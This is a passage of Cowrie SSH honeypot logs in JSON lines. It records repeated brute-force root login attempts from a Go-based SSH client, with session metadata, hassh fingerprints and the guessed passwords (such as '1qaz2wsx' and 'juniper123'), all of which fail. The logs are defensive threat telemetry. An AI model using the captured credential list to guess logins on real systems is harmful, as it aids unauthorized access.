-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:22.392626Z","src_ip":"60.165.124.241","session":"20e6b6a47624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cisc0@123","message":"login attempt [root/Cisc0@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:23.159085Z","src_ip":"60.165.124.241","session":"20e6b6a47624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:24.409632Z","src_ip":"60.165.124.241","session":"20e6b6a47624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43622,"dst_ip":"10.17.0.5","dst_port":22,"session":"af5544e95fc7","protocol":"ssh","message":"New connection: 60.165.124.241:43622 (10.17.0.5:22) [session: af5544e95fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:24.638317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:24.644126Z","src_ip":"60.165.124.241","session":"af5544e95fc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:24.884840Z","src_ip":"60.165.124.241","session":"af5544e95fc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:25.612877Z","src_ip":"60.165.124.241","session":"af5544e95fc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:26.855845Z","src_ip":"60.165.124.241","session":"af5544e95fc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46886,"dst_ip":"10.17.0.5","dst_port":22,"session":"457899877749","protocol":"ssh","message":"New connection: 60.165.124.241:46886 (10.17.0.5:22) [session: 457899877749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:27.106977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:27.111570Z","src_ip":"60.165.124.241","session":"457899877749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:27.362078Z","src_ip":"60.165.124.241","session":"457899877749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Aa!","message":"login attempt [root/123456Aa!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:28.109744Z","src_ip":"60.165.124.241","session":"457899877749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:29.359737Z","src_ip":"60.165.124.241","session":"457899877749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50056,"dst_ip":"10.17.0.5","dst_port":22,"session":"e13d91cd7e33","protocol":"ssh","message":"New connection: 60.165.124.241:50056 (10.17.0.5:22) [session: e13d91cd7e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:29.584216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:29.589121Z","src_ip":"60.165.124.241","session":"e13d91cd7e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:29.827131Z","src_ip":"60.165.124.241","session":"e13d91cd7e33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juniper123","message":"login attempt [root/juniper123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:30.551569Z","src_ip":"60.165.124.241","session":"e13d91cd7e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:31.792369Z","src_ip":"60.165.124.241","session":"e13d91cd7e33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53152,"dst_ip":"10.17.0.5","dst_port":22,"session":"467ab49f4ac7","protocol":"ssh","message":"New connection: 60.165.124.241:53152 (10.17.0.5:22) [session: 467ab49f4ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:32.064904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:32.069169Z","src_ip":"60.165.124.241","session":"467ab49f4ac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:32.331192Z","src_ip":"60.165.124.241","session":"467ab49f4ac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@Aa","message":"login attempt [root/123456789@Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:33.108242Z","src_ip":"60.165.124.241","session":"467ab49f4ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":60918,"dst_ip":"10.17.0.5","dst_port":22,"session":"02336b5d9401","protocol":"ssh","message":"New connection: 80.94.92.168:60918 (10.17.0.5:22) [session: 02336b5d9401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:33.917948Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:34.031833Z","src_ip":"80.94.92.168","session":"02336b5d9401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:34.367640Z","src_ip":"60.165.124.241","session":"467ab49f4ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56406,"dst_ip":"10.17.0.5","dst_port":22,"session":"720757dd31e1","protocol":"ssh","message":"New connection: 60.165.124.241:56406 (10.17.0.5:22) [session: 720757dd31e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:34.580791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:34.584735Z","src_ip":"60.165.124.241","session":"720757dd31e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:34.820848Z","src_ip":"60.165.124.241","session":"720757dd31e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456!","message":"login attempt [root/Ab123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:35.538285Z","src_ip":"60.165.124.241","session":"720757dd31e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:36.778086Z","src_ip":"60.165.124.241","session":"720757dd31e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59660,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7cac8b51215","protocol":"ssh","message":"New connection: 60.165.124.241:59660 (10.17.0.5:22) [session: d7cac8b51215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:37.036390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:37.040215Z","src_ip":"60.165.124.241","session":"d7cac8b51215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:37.289398Z","src_ip":"60.165.124.241","session":"d7cac8b51215","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pakistan@123","message":"login attempt [root/pakistan@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:38.041511Z","src_ip":"60.165.124.241","session":"d7cac8b51215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:39.294314Z","src_ip":"60.165.124.241","session":"d7cac8b51215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34512,"dst_ip":"10.17.0.5","dst_port":22,"session":"09081cdd2860","protocol":"ssh","message":"New connection: 60.165.124.241:34512 (10.17.0.5:22) [session: 09081cdd2860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:39.552600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:39.557115Z","src_ip":"60.165.124.241","session":"09081cdd2860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:39.812712Z","src_ip":"60.165.124.241","session":"09081cdd2860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11235813","message":"login attempt [root/11235813] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:40.595269Z","src_ip":"60.165.124.241","session":"09081cdd2860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:41.853310Z","src_ip":"60.165.124.241","session":"09081cdd2860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38036,"dst_ip":"10.17.0.5","dst_port":22,"session":"6395a0d25fc9","protocol":"ssh","message":"New connection: 60.165.124.241:38036 (10.17.0.5:22) [session: 6395a0d25fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:42.064246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:42.068970Z","src_ip":"60.165.124.241","session":"6395a0d25fc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:42.303668Z","src_ip":"60.165.124.241","session":"6395a0d25fc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"th123456","message":"login attempt [root/th123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:43.015916Z","src_ip":"60.165.124.241","session":"6395a0d25fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:44.252794Z","src_ip":"60.165.124.241","session":"6395a0d25fc9","protocol":"ssh"}
